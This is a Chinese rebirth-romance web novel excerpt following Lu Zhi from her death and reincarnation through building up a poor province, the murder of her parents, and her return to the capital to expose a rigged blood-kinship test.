《栖枝》
1. 新生
埌城被连续灌注了一整月的暴雨,楼下被淹成了什么样子不得而知,不过猜想也不会好到哪去。
空气中都是潮湿陈腐的味道。
天气预报说七月五号会天晴,可七月四号暴雨仍在肆无忌惮地往人间灌水,天空阴沉昏暗,没有一点儿要放晴的意思。
不放晴也就算了,还附带着电闪雷鸣,陆枝撑着沉重的眼皮,生无可恋地想着自己跳动微弱的心脏还能再跳动几下。
她艰难又缓慢地抬动起手指、放下,一点一点,是和心跳同步的频率。
太弱了,弱得让她绝望。
轰隆隆隆——
又一阵雷声从天际翻滚而过。
陆枝那微弱的心脏猝不及防又意料之中地——
停了。
死前走马观花的回忆打眼而过,陆枝悲戚地发现自己的这一生实在短暂,爸妈走得早,除了这一身先天性心脏病,什么也没留给她,她没有什么遗憾,也没有什么刻骨铭心,就好像是来这人间溜了个弯,连拐角都没走完就又被阎王召唤回去了。
天空依旧昏沉,病床旁的帘子尽职地垂着,整个病房静悄悄的,连个喊一句“医生,快来啊,她要死了”的人都没有。
光景甚是凄凉。
她悲郁地想,人生啊,全是操蛋的寂寞。
……
陆枝被某种强烈的摇晃感从虚无的黑暗中给震睁开了眼,脑袋像在滚筒洗衣机里滚了好几十个来回,晕晕乎乎的,状态堪比醉酒。
她都死了,就不能安生地死吗!
陆枝想大喊一句“别晃了”,一开口发现自己说的是自己都听不懂的十级“婴语”。
陆枝:“?!”
已经投完胎了?这么快!
“夫人,小姐醒了,该喂奶了。”一道柔柔弱弱的女声传入耳中。
被唤作夫人的妇人抱着怀中婴儿,忍不住泪流满眼:“枝儿,是为娘不好,苦了你了。”
陆枝一脸懵然,两只圆溜溜的大眼睛透着未经世事的清澈,她不动声色地听着两人的对话,然后心有戚戚地得出了一个结论——
好消息,她投胎成了一个古代大小姐。
坏消息,被弃养的那种。
人生真是起起落落落落落,她光速去世又光速投胎,先不纠结孟婆为什么没给她喝汤,原以为身体健康地投了个富贵人家的好胎,怎么也能好好享受一下无忧无虑的缺德人生。
结果发现,人生并不是那么好享受的。
真操蛋!
山路变得崎岖,马车的颠簸更重了,陆枝感觉全身的水分好像十分一致地往身体的某个地方集中,不停地翻滚,发出汩汩的声音。
一个猝不及防的大颠簸,那汩汩的物体像是开了闸,奇异的温热感在屁屁上蔓延开。
陆枝:“!”更操蛋了!
惊觉无法控制住新身体的陆枝正羞愤难当,想着要怎么遮掩过去,就听见刚才说话的小丫鬟惊叫道:“夫人,小姐拉了!”
陆枝:“……”秋露是吧,我记住你了!
秋露十分熟练地帮陆枝换上干净的衣裤,还顺道夸了句:“小姐今日好乖,都不哭了。”
陆枝羞得想死,再也不忍了,“哇”地一声就哭了出来。
孟婆啊!为什么不给她喝汤!
秋露:“……”
马车外传来大叔的爽朗笑声,但笑声很快戛然而止,由于中断得实在过于突兀,陆枝立马止了哭声,竖起小耳朵仔细听外面发生了什么事。
嗤嗤嗤——
锵锵锵——
大叔的声音听着跟刚才的爽朗全然不同,此刻变得十分严肃紧绷,从车外传来,有些远:“念慈,待在车里,保护好孩子。”
陆枝内心咯噔一下。
这是遇到抢劫了?还是刺杀?
如果是抢劫还好说,把钱给了就行了,没什么比命重要。
但从新妈秦念慈怀抱着自己的力度和凝重的表情上来看,陆枝暗道:“坏了,是刺杀。”
外头的刀剑不断碰撞出刺耳的刮擦声,陆枝的心跟着一下一下跳得慌乱。
她这边看起来只有大叔一个人,可对方貌似有好几个,以一敌多,胜算很难大起来。
而她现在这副身体,连逃跑的能力都没有。
冰冷的金属碰撞声让人听得心惊,一分一秒都无比难捱,渐渐地,兵器声弱了下来,脚步声忽深忽浅地变得清晰,靠了过来。
秦念慈死死抱着陆枝。
陆枝的心沉入深渊,有些绝望地阖上了眼,这就又要死了?阎王啊,下次不要给她搞这种重生一日体验游了。
怪让人绝望的。
车帘被人掀开,浓重的血腥味扑鼻而来,陆枝紧闭着双眼,小手死死抓着秦念慈的衣领。
想象中的刀迟迟没有落下来,陆枝犹疑地睁开了一条缝,只见大叔满身是血地半跪在车驾上,用着极具安抚人心的语气说道:“没事了。”
那一刻,她仿佛看见了大叔身后浮现出圣光光环。
神啊。
至怙州后,在秦念慈给陆枝准备的简单又用心的抓阄礼上,她不管不顾地爬到大叔的面前,表情倔强地握着大叔的剑不肯松手。
她要跟着大叔学武功。
在这个不讲人身保护的世界,她必须要有保命的能力!
大叔怜爱地摸了摸陆枝的脸颊:“这孩子,将来一定有大出息。”
从此,陆枝除了娘亲之外,还多了个师父。
对于秦念慈为什么会被赶出相府,陆枝从秋露那儿打听到了个大概全貌。
总的来说就是她的师父霍无尊和娘亲原本是青梅竹马,只是娘亲家里因为门第不同意他们在一起,于是她那从未蒙面的爹陆文德钻了个空子娶到了娘亲。
娘亲和师父放不下这段感情,私底下有书信往来回忆往昔,结果被陆文德娶的二姨娘污蔑她不是陆文德亲生的。
搞的滴血认亲,血不相融。
陆文德盛怒,当日便写下休书休了娘亲,她才刚出生就被赶出了府。
娘亲的爹娘嫌丢人不肯接纳她们,给了一笔钱让她们母女自行到怙州的祖宅苟且生活。
师父得知后,一路护送陪同。
陆枝听完轻轻叹了口气,滴血认亲哪能信啊?可怜娘亲身体尚未恢复便得长途奔波,还得遭人刺杀,想想便叫她心疼不忍。
她在心里直骂陆文德不是个东西,看向更像夫妻的师父和娘亲露出笑容,心道:“去他的陆文德,咱们一家三口把日子过好比什么都重要。”
但很快,平淡的日子就变得不那么顺遂了。
他们在穷苦的怙州除了一间修缮过的老破房子以外,什么都没有,没有田也没有地,靠着外公家打发的那点救济,陆枝对后面怎么生活感到焦心。
现下虽不至于穷得揭不开锅,只是她一揭开锅,看着那一二两米饭配着碗野菜,舌尖就直冒酸。
为了不让五岁的陆枝瘦脱相,霍无尊做工之余便上山给她抓野味。
陆枝久违地开过荤后决意自己动手,丰衣足食,于是她学着用来自保的武功先用来了抓野味。
由于回回都能得手,她的凶名在野味间传开,山里的野味见了她如见瘟神,撒开了腿拼命跑,却还是难逃毒手。
霍无尊夸她天赋异禀,陆枝深感认同,抓得更勤快卖力了,在怙州山野间撒欢的她渐渐发现,怙州虽然穷苦,但土质优越肥沃。
她叹:“这样的好地不种点什么可惜了。”
于是有心搞种植的陆枝用心留意了怙州的情况,地一般广人一般稀,由于州官只求稳不给力,此地常年都是温水煮青蛙的状态,没什么经济能力大批量购买种子。
那要是有一笔足够的启动资金的话……
有了打算的陆枝带着师父霍无尊,软硬兼施地说动了州长,从此带领全州人走上创业道路。
为攒买种子的资金,她带着人们做巨型滚灯,并组织了一支舞蹈功底出色的文艺队,编排出一场风姿飒爽的滚灯舞,让文艺队去附近各州街头进行表演。
有了一点名声后,这支文艺队渐渐被官员知晓,被邀请去府中设宴表演,这正中陆枝下怀。
陆枝趁机推出了各种口味竹筒冰沙奶茶,制作简单且解暑,初次面世大受欢迎,怙州便引来了人流,有了名气,
她庆幸这个时代还没有很多有趣的玩意冒出来,因而前世缠绵病榻学习下来的许多知识主意都够用。
为避免怙州人们急功近利大肆伐竹,陆枝严令要给山林休养生息期,若有人敢违背,举报者得赏,私伐者赶出怙州。
怙州的改变众人有目共睹,大家信服
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陆枝,对此没有异议。
等积攒足了一定的资金后,陆枝联合州长从外州购买了大量的小麦种子。
经她观察发现,怙州少雨,旱时长,正适宜小麦生长,比耐旱不足的水稻要更合适。
陆枝把自己会的倾囊相授给怙州的人们,众人也十分争气。
攒银子种粮,靠卖粮攒更多的银子,买更多的种子,如此循环往复历时整十年,怙州改头换面,家家户户盖了新房,衣食无忧,州长更是官阶连升三级。
怙州人们恨不能把陆枝当块宝一样供起来,知她即将及笄,全州上下瞒着她给她准备着更大的惊喜。
陆枝惬意地坐在自家大树的树枝上,垂着一条腿百无聊赖地晃着,每逢这个时期她都不敢出门在城里晃悠,生怕自己撞见了什么现在还不该让她看见的,白瞎了一群人的心意。
她双手搭在脑后,透过树叶的罅隙看着蔚蓝晴空嘀咕道:“年年都捣鼓,他们也不嫌腻。”
想着想着,她笑出了声。
当然,她也不嫌腻。
“枝儿,枝儿。”底下传来秦念慈的呼唤。
陆枝应道:“来啦,娘亲。”
看陆枝又从树上下来,秦念慈笑着叹气,给她拍去衣裳上的尘土:“一点姑娘家的样子也没有。”
陆枝抱着秦念慈的手臂撒娇:“哪有,你看枝儿还会缠着娘亲撒娇,可姑娘家了。”
“你啊。”秦念慈拿陆枝一点办法也没有,这些年陆枝的辛苦她都看在眼里,心疼得不行,哪还舍得再让她去学哪些闺秀之礼。
但陆枝的举止也并非全然粗鄙,她只是随性,往日里同州官打交道,还是会讲礼仪的。
陆枝:“娘亲唤我何事呀?”
秦念慈:“前些日子你静姨来信,说你玄儿哥哥已经封王,她不便出宫,便让玄儿来怙州替她看我,说是早早便动了身,现下估摸着时间也该到了,如今迟迟不见人影,总叫人担心是不是路上出了什么事,你同无尊一道去接接他,可好啊?”
陆枝正愁不能出门,当即欣然应道:“好啊,我自己去便可,用不着再劳烦师父啦。”
她冲着秦念慈眨了眨眼:“娘亲和师父还是好好准备喜事吧,我这等着改口叫爹都等了多少年了。”
秦念慈脸一红:“你这孩子,尽说胡话。”
陆枝坐在马背上展开了谢玄的画像,片刻之后,又默默地合上了。
这画是画师照着秦念慈的描述画出来,秦念慈的原话是“身长八尺,高大英俊”。
是挺高大的,光身高占了大半的画面。
英俊也不遑多让,眼睛狭长得像把尖刀快要扎死人了,这真能是人的眼睛?
要是陆枝在场,她一定要质问一下这位奇人画师是不是对英俊二字有什么误解。
整幅画看下来,画上的人就像是一个头大身大脖子短,眼睛开了一米长的缝的畸形变异人。
属实是多看一眼都会做噩梦的程度。
陆枝把画收进包里,把口死死扎了紧,这画可不能让谢玄本人看到,要是误会是她画的怎么办?
画是派不上用场了,只能凭感觉认,不过皇族一般都穿得华贵,长得也是一副金贵相,应该不难认。
怙州此刻晴空万里,若换作在埌城,此时应该是暴雨未歇,陆枝看着明媚阳光心情甚好。
马儿慢悠悠地行进了山林,暑热一扫而光,林间一片此起彼伏的蝉鸣鸟叫,好不热闹。
越往里走,反而变得越安静,一点儿的声响都被成倍放大。
陆枝听着马蹄哒哒声,有一搭没一搭地转着不久前随手折下来的断枝。
行至林间腹地,单一的马蹄声中逐渐掺杂进了别的声音。
陆枝敛声静听,听出了一阵忽远忽近、忽深忽浅的脚步声,杂乱无序,就好像在追着什么。
她听着声音渐渐向她这边靠近,心里一惊。
这是冲她来的?
不是吧,她才刚出怙州地界,是有谁泄露了她的行踪么?不应该啊,她没做什么招人恨的事啊。
声音越来越近,陆枝也不管接不接人了,拍了马屁股就是调头跑。
身后追来的人见到陆枝有马,用最后的力气施展出轻功追上,揽过陆枝拉住缰绳。
来人先斩后奏地道歉:“姑娘,得罪。”
2. 变故
陆枝被身后凭空多出来的人吓了一跳:“啊啊!谁啊!嗯?”
天,是个人!还有一群拿着武器的黑衣人!
陆枝立刻反应过来自己是运气不好被牵连了,但当下情况紧急,她也顾不得骂人了,夹紧马肚大喝一声驾,马儿加速往前,好在她出门时喂过马儿,马儿这会儿正当有劲。
稍稍拉开一段距离后,身后人的脑袋毫无征兆地倒在了肩窝,温热的吐息铺洒在脖子上,痒极了。
陆枝心里噌地冒出一股火,害她被牵连逃命也就算了,现在还要占她便宜?
她抓住身后的人正要将他扔下马却碰着了他衣裳上的濡湿,沾在手上,鲜红一片。
好重的伤。
陆枝到底还是没忍心把人扔下去,怕人掉下去,还将他的双手环在自己腰间,腾出一只手固定住。
谢玄对这一切尚有感,只是脑子沉眼皮重全身乏力,没办法说话。
陆枝回头看了一眼,身后远处还隐隐约约可见一片黑点,欲哭无泪。
不是吧,也太敬业了,再追就要进怙州地界了!
陆枝艰难地腾出一只手从荷包里掏出一把毒粉撒在旁边的树叶上,一路跑一路撒。
渐渐地,身后的黑点消失不见。
陆枝一脸慌色驾马回家,还是从后门走的,没惊扰全城人。
“娘亲!娘亲!”
秦念慈听到声音着急忙慌地赶出来,看见陆枝衣裳上沾了血,吓得不轻:“枝儿,这是出何事了?”
陆枝将谢玄抱下马,被迫承受了谢玄整个人的重量,只能拖着他往里走,一口气差点没提上来:“娘亲,我无事,快、快喊大夫,这人出了好、好多血,快死了。”
“好好好。”秦念慈赶忙派人去请,待看清谢玄的脸时,惊呼道:“玄、玄儿!怎伤得这样重?”
陆枝:“!”阴差阳错地,还救对人了。
大夫在秦府忙到天黑才离开,陆枝一直在帮忙打下手,等大夫交代完诸多事宜后离开,陆枝饿得脑袋发昏,简单对付了两口,又守在了谢玄身边。
太夫说,今夜比较危险,撑过今夜才好放心。
毕竟她都把人救回来了,那就索性救到底。
秦念慈拗不过陆枝的坚持,亲自给陆枝准备好参汤才放心去睡。
前半夜陆枝一直没敢合眼,生怕打个盹人就没气了,就硬生生地顶着个沉重的眼皮在浓郁的夜色里盯着谢玄。
看他呼吸是否强些了,额头是否还发烫了,以及那张确如娘亲所言英俊的脸。
轮廓分明,皮肤白皙,闭着眼晴的时候还透着一股乖,她没忍住动了几回手捏了捏。
手感还挺好。
将近破晓,些许天光从窗缝漏了进来,陆枝仔细听了听谢玄的呼吸,已经平稳许多,她放了心,整个人松懈下来,倦意如潮水倾至,眼皮挣扎着抖动,终是彻底合上,不管不顾地去见周公了。
谢玄睁开眼便见佳人守在身侧,眼下晕黑一片,回忆起昏迷前陆枝拼死相护的种种,名为好感的东西很难不从心头尖尖冒出来。
他动了动手指,忍住蔓延全身的疼痛感,极轻地将陆枝垂落下扫到鼻尖的碎发挽到了耳后,让她睡得安稳些。
门外传来了脚步声,谢玄不出声响地飞快缩回了手,不幸扯裂了伤口,疼极,却得忍着。
陆枝被秦念慈叫醒,看谢玄还没睡着,肩上却不知何时渗出了血,也顾不得去休息了,急忙起身去拿大夫留下的药和纱布给谢玄重新换上。
换完药后也不知为何眼前人的额头上竟冒出了一层细汗。
陆枝疑惑,探了探谢玄的额头,这也不烧了啊?天还未亮透,这个时间点有这么热么?
她打湿手帕给谢玄擦掉汗:“娘亲,这位哥哥已无事了,他醒来后给他备些清淡的吃食便好。娘亲,我先去睡了,好困。”
“哈啊~”她打了个悠长的哈欠。
秦念慈:“好了,娘知道的,守了一夜,快去好生休息,不着急起,一切有为娘在。”
陆枝安心睡了个足,醒来时已日色西斜,谢玄已能下地行走,正坐在亭下饮茶。
背影宽肩窄腰,披发如缎,动作慢条斯理,颇为赏心悦目。
陆枝走上前得体地行礼:“陆枝见过这位哥哥,晚来见过,还望勿怪。”
谢玄起身托起陆枝:“陆——枝儿妹妹言重,昏迷前的种种我尚都记得,若无枝儿妹妹搭救,我怕是此刻也不能站在此处,何来见怪之说。”
这人醒着时和睡着时看着很是不同,睡着时整个人乖巧且娴静,有一股子睡美男子的气质,醒着时深邃的眼眸仿佛总带着一股不近人情的锐利冷意。
陆枝暗暗心道:“是个高冷型的。”
有贵客登门,陆枝的举止收敛了许多,也不上墙上树地到处溜达了,每日除了不是替谢玄送药,就是窝在房里看书写字,倒是难得地做了回大家闺秀。
好在她不是耐不住安静的性子,尚坐得住。
霍无尊对此调侃道:“枝儿这是转了性子了?”
陆枝努努嘴,心道:“转性子是不可能转的,等人走了,她原先是怎样就还是怎样。”
六月尽,七月始,将要到陆枝的及笄礼了。
秦念慈事无巨细地准备着此事。
陆枝的心情自此每日都快活,待她及笄过后,便是娘亲和师父的喜事,他们就要成为名正言顺的一家人了,这怎么能不叫人高兴呢?
谢玄看见布置问道:“秦姨,这是在作何?”
秦念慈笑道:“是枝儿的及笄礼,玄儿这趟来得也巧,正好赶上了。”
及笄礼么?
谢玄敛眉低思,次日寻了个由头和两三日前找来汇合的侍卫一同出了趟门。
七月四日当日,秋露将陆枝打扮得十分漂亮。
陆枝对自己的外貌没什么概念,当看见铜镜中螓首蛾眉唇红齿白的自己时,不禁感慨:“秋露的手真巧啊。”
她穿着华贵礼服,款款走向礼台,在全城人的注目中完成了她新生的成人礼。
谢玄受秦念慈所托将陆枝带到了最高的城楼上。
当夜,全城放起了烟花,笙歌相随。
璀璨在夜空中消防开,映照着她的脸庞,陆枝满目绚烂,差点没忍住眼泪,全城人竟为她弄了这么大的排场,给她整得很难不感动。
谢玄惊讶于全城人对陆枝的疼爱,趁着当下光景正好,他拿出一个雕刻精致的木盒送给陆枝:“旦逢良辰,顺颂时宜,枝儿妹妹,愿你欢喜常在。”
陆枝忍了很久的眼泪噗地一下流了出来,这一个一群的怎么回事,就非要惹她掉豆子!
偏偏……偏偏她都特别喜欢。
陆枝满目晶莹璀璨,脸上还挂着两道泪痕,却是露出了一个幸福的笑容,接过礼物道:“多谢玄儿哥哥,我十分欢喜。”
下一束烟花倏然升空,炸开的瞬间,谢玄的心跳正好与此同频。
这些日子,他常想和陆枝多亲近些,但陆枝只当他是位远道而来的贵客,礼数周全,得体有余,也从没想过拿对他的救命之恩来向他换些什么。
或许他主动些便好了。
就在谢玄正要实践此打算的下一秒,陆枝十分不解风情地问道:“玄儿哥哥可是快要归京了?”
一盆凉水当头泼下,谢玄眸色暗了下来:“是。三日后便动身。”
陆枝:“我向州长请了一支护卫队,个个都是好手,他们会护送玄儿哥哥回京,我当日也会送玄儿哥哥一段。”
人是她救下来的,也得平安地回家。
谢玄凉透的心又回了暖,嘴角漏了点十分浅淡的笑意:“好,那便有劳枝儿妹妹。”
出了怙州一路向北便是京城。
两只马儿并肩而行,后面还跟着一群,途径谢玄遇险的那片山林,痕迹已被人清理干净。
走出山林,再无荒路,归处不同,终有一别。
陆枝道:“我便送到这了,玄儿哥哥保重。”
谢玄看见陆枝手腕上的手
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链,心里便没了离愁:“枝儿妹妹保重,来日再见。”
陆枝留在原地目送着谢玄一行离开。
来日再见么?但愿吧。
她调转马头往回走。
一月后,秦府再度来了喜事,陆枝终于可以名正言顺地叫霍于尊一声“爹”了,大婚当日,她埋在秦念慈和霍无尊的怀里哭了好久。
前世她没有的,这一世兜兜转转,终还是有了。
盛夏终有时,日子又恢复往日的恬静平淡,可是没多久,就又不平静了。
前来秦府向陆枝提亲的人忽得冒了出来,呈愈演愈烈之势。
陆枝白日里都在房里躲着,待人都被送走后才敢出门,她看着家里真被踩破了的门槛叹气道:做道门槛也不容易,还要遭这老罪。”
为躲个清净,她连夜收拾了行李,留书一封趁着夜色离家出走了。
她打算去隔壁的鹭县小住一段时间,等众人提亲的新鲜劲过了再回来,正好她在鹭县还有个过往相识相交甚好的小姐妹。
鹭县山清水秀,阡陌交错,虽不及怙州的繁华,却也是个清净之地。
陆枝见了童薇满心欢喜,两人整日腻在一块,第二日入睡前,陆枝忽得没来由地心慌了一瞬。
童薇敏锐地捕捉到陆枝的脸色变化:“枝枝,可是哪里不舒服?我带着去看大夫。”
陆枝微微皱眉摇头:“不是不舒服,只是突然间心慌了一瞬,莫名觉得有什么不好的事要发生。”
童薇替陆枝盖好被子:“好啦,定是你瞎想的,你在这哪会有不好的事发生,快些睡吧。”
陆枝犹豫地闭上眼睛,心头的恐慌感却始终盘旋萦绕折磨着她,她猛然坐起身火急火燎地穿衣:“薇薇,我总觉得有事,我先回趟家看看,若是无事我再过来。”
童薇见她神色着急也不好再挽留,起来帮着一块收拾:“好,只是夜色已深,你孤身一人赶路我不放心,我叫爹爹送送你。”
陆枝:“不劳烦童伯伯了,沿途设有官府驿站,不会有事的。薇薇,我先走了啊,你早些睡。”
童薇目送着陆枝驾马离开,直至她的身影消失在夜色里才回屋,村口的狗被急促的马蹄声惊醒,在黑夜里狂吠了两声,听着颇让人觉着心慌。
但愿无事。
陆枝心里的恐慌越来越重,她回忆起了自己刚来到这个世界濒死的那种恐惧,与此刻竟不相上下。
夜里本该墨色浓郁,怙州城上方却是通红一片,远远看着,红光在夜色里亮得令人心慌。
走水了?
陆枝快马加鞭,守城士兵奉了州长之命,一见到陆枝,立马给她开了城门,她一路畅行直奔火源,拽着缰绳的手越来越凉。
这个方向她太熟悉了,是家。
陆枝看见熟悉的房子被大火吞噬,跳下马跌跌撞撞地奔向指挥着人们取水救火的州长:“州长伯伯,我的爹爹与娘亲呢?”
州长面色为难,欲言又止。
刺骨凉意自背后升起蔓延全身,陆枝的心沉了下去,却还是继续追问,声音已是颤抖:“州长伯伯,他、他们人呢?你告诉我,好不好?他们一定没事……对不对?”
州长沉默着侧开了身躯。
秦念慈和霍无尊静静地躺在地上,衣裳和皮肤被大火烧毁,身上还有触目惊心的骇人剑痕。
陆枝最后的一丝幻想彻底破灭,全身血液凝结,大脑一片空白。
她瞬间失了魂,一步一踉跄地走了过去,每走一步就像是走在锋利无比的刀尖上,那刀尖割得她鲜血淋漓,疼痛耗去了她所有的力气,才两三步,她就已经站不住,整个人跪了下去,膝盖碰在冰冷的地面上发出沉闷的声响。
大火仍就猖獗,喷涌着滚烫的热意,陆枝撕心裂肺的哭喊淹没在人们来回奔跑的嘈杂声里。
心脏疼痛得剧烈,前世今生,她的心脏第一次负荷起这样猛烈的刺痛频率。
太痛了,痛得她不知要怎么缓解,只能一直哭。
痛得她想死。
3. 回京
陆枝不知道自己是怎么撑过这场葬礼的,直到棺材下土,她才终于从那种不真实的自我欺骗的麻木感中挣扎出来。
她看着那用土渐渐堆积出来的坟包,绝望地想:“她又没有爸爸妈妈了。”
童薇听闻变故急忙赶来,短短几日,原先那个爱笑爱闹的人性情大变,变得沉默不语,不哭了,也不再笑。
下葬后,陆枝不知道还能做些什么,人离世时,亲人会把他们存在过的证明一点一点收拾出来,再处理掉,这是个极痛苦的过程,每动一样东西都会时刻提醒到你,你深爱的人已经不在了。
可对陆枝来说她连这样告别的机会都没有,一场烈火烧光了所有,从此万家灯火,再无一盏为她而亮了。
秋露仍就没有消息,陆枝抱着希望,又在每日的等候中渐渐失望。
金承算是陆枝的半个师弟,霍无尊教他武功却没有让他正式拜师,出事后金承就在追踪真凶的踪迹,终于有了消息,他拿给陆枝一块玉牌,上头刻着罗。
陆枝面色平静地接过,却把玉牌握得死紧,边角陷进肉里:“小师弟,找到秋露了吗?”
金承:“还没有。若她要去找师姐,定会往鹭县而去,我已经去了鹭县好几回,都没有碰见她。”
陆枝微微点了点头,没再说话,一个人登上了城楼,望着某个方向眸色如霜。
童薇悄悄地跟上楼,看见陆枝的右手滴着血,赶忙将她的手扒开,那块带了血的玉牌在她掌心显得触目惊心。
陆枝看着童薇给她包扎手,声音很轻很轻,像是一阵风,轻易就散了:“薇薇,这些年我很安逸。”
安逸到她忘了京城里有不希望她活着的存在,安逸到她以为只要不主动招惹,大家都能相安无事。
童薇抱紧了陆枝:“枝枝,来我家吧,日后我来养你,我便是你的家人。”
陆枝蹭了蹭童薇,没有答话。
秋露是被别州的人送回来的,被简单裹了一层草席,送她回来的人嗓门很大,看陆枝呆着不说话吵嚷道:“小姑娘,你可别不认啊,她许我钱财我才救她的,这人死了可不是我弄的,我救她的时候她已经快不行了,再说了我还想要拿钱呢。”
他朝陆枝伸出手:“这人可说了,让我来怙州找州官,正好你也是这州官府里的人,你就替人把钱给了吧。”
陆枝让人去钱庄取了钱给他:“这位大哥从何处救下的她?”
来人清点着银两,用牙咬了咬:“俾县呗。”
陆枝向后退了两步瘫靠在墙无力滑落,捂着快要被悲伤砸碎的心脏,竟没有眼泪可以再流。
她留了书,秋露怎会不知她在鹭县,可她却是往俾县跑。
俾县,那是和鹭县完全相反的方向。
时间渐渐入了深秋,满城开始有了落叶。
陆枝将自己所学所会整理成册交给州官,而后拜别:“州长伯伯,我要走了。”
陈通海明白陆枝想要做什么:“丫头,这条路没法回头。”
陆枝:“伯伯,我身后已无人在,回不回头的,已不重要了。”
陈通海知晓无法劝动陆枝,便穿上官服,叫人备好马车和护卫:“州官出行,若路上出事也会传到朝廷。丫头,我送你入京。”
陆枝:“多谢伯伯。伯伯,我要走之事便不要告诉大家了,若我还能回来,再让他们来迎我。”
陈通海沉默着叹了口气,点头应了。
陆枝住在京城的一家酒楼里,花了半月的时间去熟悉京城里错综复杂的关系,而后找上了陆文德的对头都察院御史韩望津。
传言这位新晋御史刚正不阿,多次起草弹劾陆文德的折子却因为实证不足被驳了回来,也因为得罪了陆文德,被陆文德暗中打压,目前虽挂着个御史的名头却是闲职,重要事务交不到他手上。
陆枝登门拜访,请求韩望津做个见证人。
韩望津:“陆相辅当年休妻虽未言明缘由,也保留了陆姑娘的宗族之名,可坊间也有猜测,陆姑娘又要如何证明自己的身份来堵住这京城的悠悠众口?”
陆枝:“相辅留我宗族之名,于礼法上我便是名正言顺的嫡女,我自会自证身份,还劳韩御史陪陆枝走一趟做个见证。”
陆文德是个贪心的人,既要秦府的助力,又要面子,所以才没把陆枝从族谱除名。
陆枝冷笑,她因为这个身份失去一切,此刻却要庆幸她还有着这个身份。
韩望津领着陆枝入了陆府,陆文德坐在主位悠然地喝着茶,全然没把来人放在眼里。
韩望津作揖道:“陆相,我今日来无他事,只是受人所托做个见证,相传相府嫡女流落在外,今日这位姑娘找上了我,我虽对她的身份存疑,但见其言辞恳切令人动容,终是不忍,便领着她来相府让陆相亲自验一验她的身份,若是假冒顶替之人,望津当即捉了她下狱,可若是真的,还得恭喜陆相寻回爱女。”
他没给陆文德第二条路选,陆枝趁机欠身行礼:“不孝女陆枝见过爹爹。”
陆文德一口茶噎在了喉咙里,使劲吞咽才下去:“你说你叫什么!”
陆枝拿出秦家玉佩:“陆枝,秦念慈之女。”
陆文德脸色几变,同他一样的还有坐在一旁的罗香君。
她花了那么大代价派出去的人竟没有得手!还让人找上门来了!真是废物!
陆文德定了定神,沉下声音:“大胆!我家枝儿幼时被母亲抱走下落不明生死不知,你是何处冒出来的野丫头,偶然拾得这玉佩竟敢来冒充相府嫡女!”非他亲生骨肉,却找了人来想赖上陆府,绝无可能!
陆枝面色未变,眸色暗了几分,原来京城传的版本是他自己编排出去的,他因故休了妻,妻一气之下带走了孩子,再不相见。
他因念及骨肉亲情,才保留着孩子的身份,还因此博得个“慈父”的名声。
啧,若是慈父,既知她已出生,又何必要休妻!
韩望津:“陆相先莫动怒,不妨先验一验,若真不是,我也好有个由头抓人不是?”
要真不是,他丢脸事小,这姑娘可就要大难临头了,他暗暗看向陆枝,陆枝回以一个笃定的眼神,他把忐忑的心按了回去。
罗香君想起当年的手段,趁机插话道:“老爷,是该验验,也好叫后面的人断了这个念想。”
她眯起眼睛看向陆枝:“姑娘,你可敢一验?”
陆枝:“夫人想如何验?”
罗香君:“你有这玉佩不假,是不是你的真假难说,但血脉不会作假,滴血验亲,你可敢试?”
陆枝微不可察地勾起冷笑,果然又是这套,幼时对她用成功过一次,这次也会想当然地认为是一样的结果。
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可惜她活了两世,前世她在病床上所看甚杂,对这种宅斗手段也都略懂。
陆枝:“好。”
罗香君叫人端水拿针,陆枝看了眼罗香君旁边面色不善看着自己的女子,趁机向韩望津低声确认道:“韩御史,二夫人身旁站着的可是陆家骨肉?”
韩望津低声回道:“是,陆家二小姐陆绫,罗二夫人之女。”
陆枝微微点头。
罗香君给陆文德递上细针:“老爷。”又看向陆枝,语气不善:“姑娘,请吧。”
陆枝配合地扎破手指。
两滴血入碗,果不相融,韩望津面色一变。
陆文德对此结果并不意外,佯装大怒道:“果真是冒充之人,韩御史,还不将她拿下!”
陆枝:“等等!”
罗香君冷笑:“姑娘还有什么话要说?”
陆枝淡定道:“再给我一点时间,晚点抓我也不迟,我反正是跑不掉的。敢问夫人,二小姐可是夫人和相辅亲生?”
罗香君拍案而起,怒道:“绫儿自是亲生骨肉,你这妄想登天的野丫头,还想污蔑绫儿不成?”
陆枝一笑:“是便好。”
她闪身拉过陆绫,以极快的速度扎破陆绫的手指挤出一滴血入碗。
三滴血入碗,各占一隅,互不相近。
陆文德和罗香君面色巨变,陆枝淡淡道:“看来二小姐也非相辅亲生。”
陆绫挣脱陆枝:“你胡说什么!爹爹,绫儿是爹爹的孩子啊!娘亲,你快跟爹爹说啊!”
罗香君:“老爷,绫儿真是你的孩子啊,当初我是清白之身跟的老爷,老爷是最为清楚的!”
陆文德指着碗咬牙:“那这又是怎么回事?”
罗香君:“定是这小贱蹄子动了手脚。”
陆枝放下针:“二夫人真会说笑,您派人端的水拿的针,能动手脚的也只有您了吧!”
罗香君:“你!”
陆枝指了指韩望津的茶道:“劳韩御史将您那杯未喝的茶拿到这处来。”
韩望津明白了陆枝的用意,配合照做。
陆枝:“想知道这水有没有被动手脚也很简单,能不能验出我是亲生也不难。这杯茶我没碰过,韩御史也无须为我作假,那咱们就用这杯茶验吧。”
她率先滴了一滴血进去,常陆文德做了个请的手势,陆文德皱着眉头挤了一滴。
两滴血过了一会儿融在了一起。
陆枝:“看,我与相辅的血融在一处了。”
陆绫为了证明自己,也急忙挤了一滴血进去,三滴血完全融合在一起,这也恰好替陆枝做了证明。
陆文德为官数年,明白过来是罗香君当初使了手段,看向陆枝神色复杂竟觉心虚。
其实他很明白秦念慈是不是清白身子跟的自己,只是当初被罗香君用美色迷昏了头。
这些年他虽有些后悔,却也拉不下脸,想到被一个女人玩弄于股掌之间,陆文德感到愤怒和挫败,恶狠狠地瞪了罗香君一眼,罗香君顿时慌如惊弓之鸟。
韩望津明白接下来没他什么事了:“恭喜陆相寻回爱女。今日望津来此只是做个见证,这场认亲风波终归是陆相家事,望津自不会在外多言。告辞。”
次日,陆府大办宗礼认回陆枝。
顷刻间全京城皆知,相府嫡女回来了。
4. 邀请
怙州历时十年大翻身的事朝廷上下皆知,陆枝让陈通海领下了所有功劳,知道京城有麻烦存在,她不太想找麻烦。
陈通海得知陆枝顺利回陆府后立即上书一封,道明了陆枝便是带领怙州翻身的真主。
他想的是陆枝独自一人在京城孤立无援,希望这些个虚名能够帮到她些什么。
陆枝一时间成为京城的热门人物,但她对外面热火朝天的谈论并不知晓,她被罗香君以教导世家礼仪为由困在深闺中。
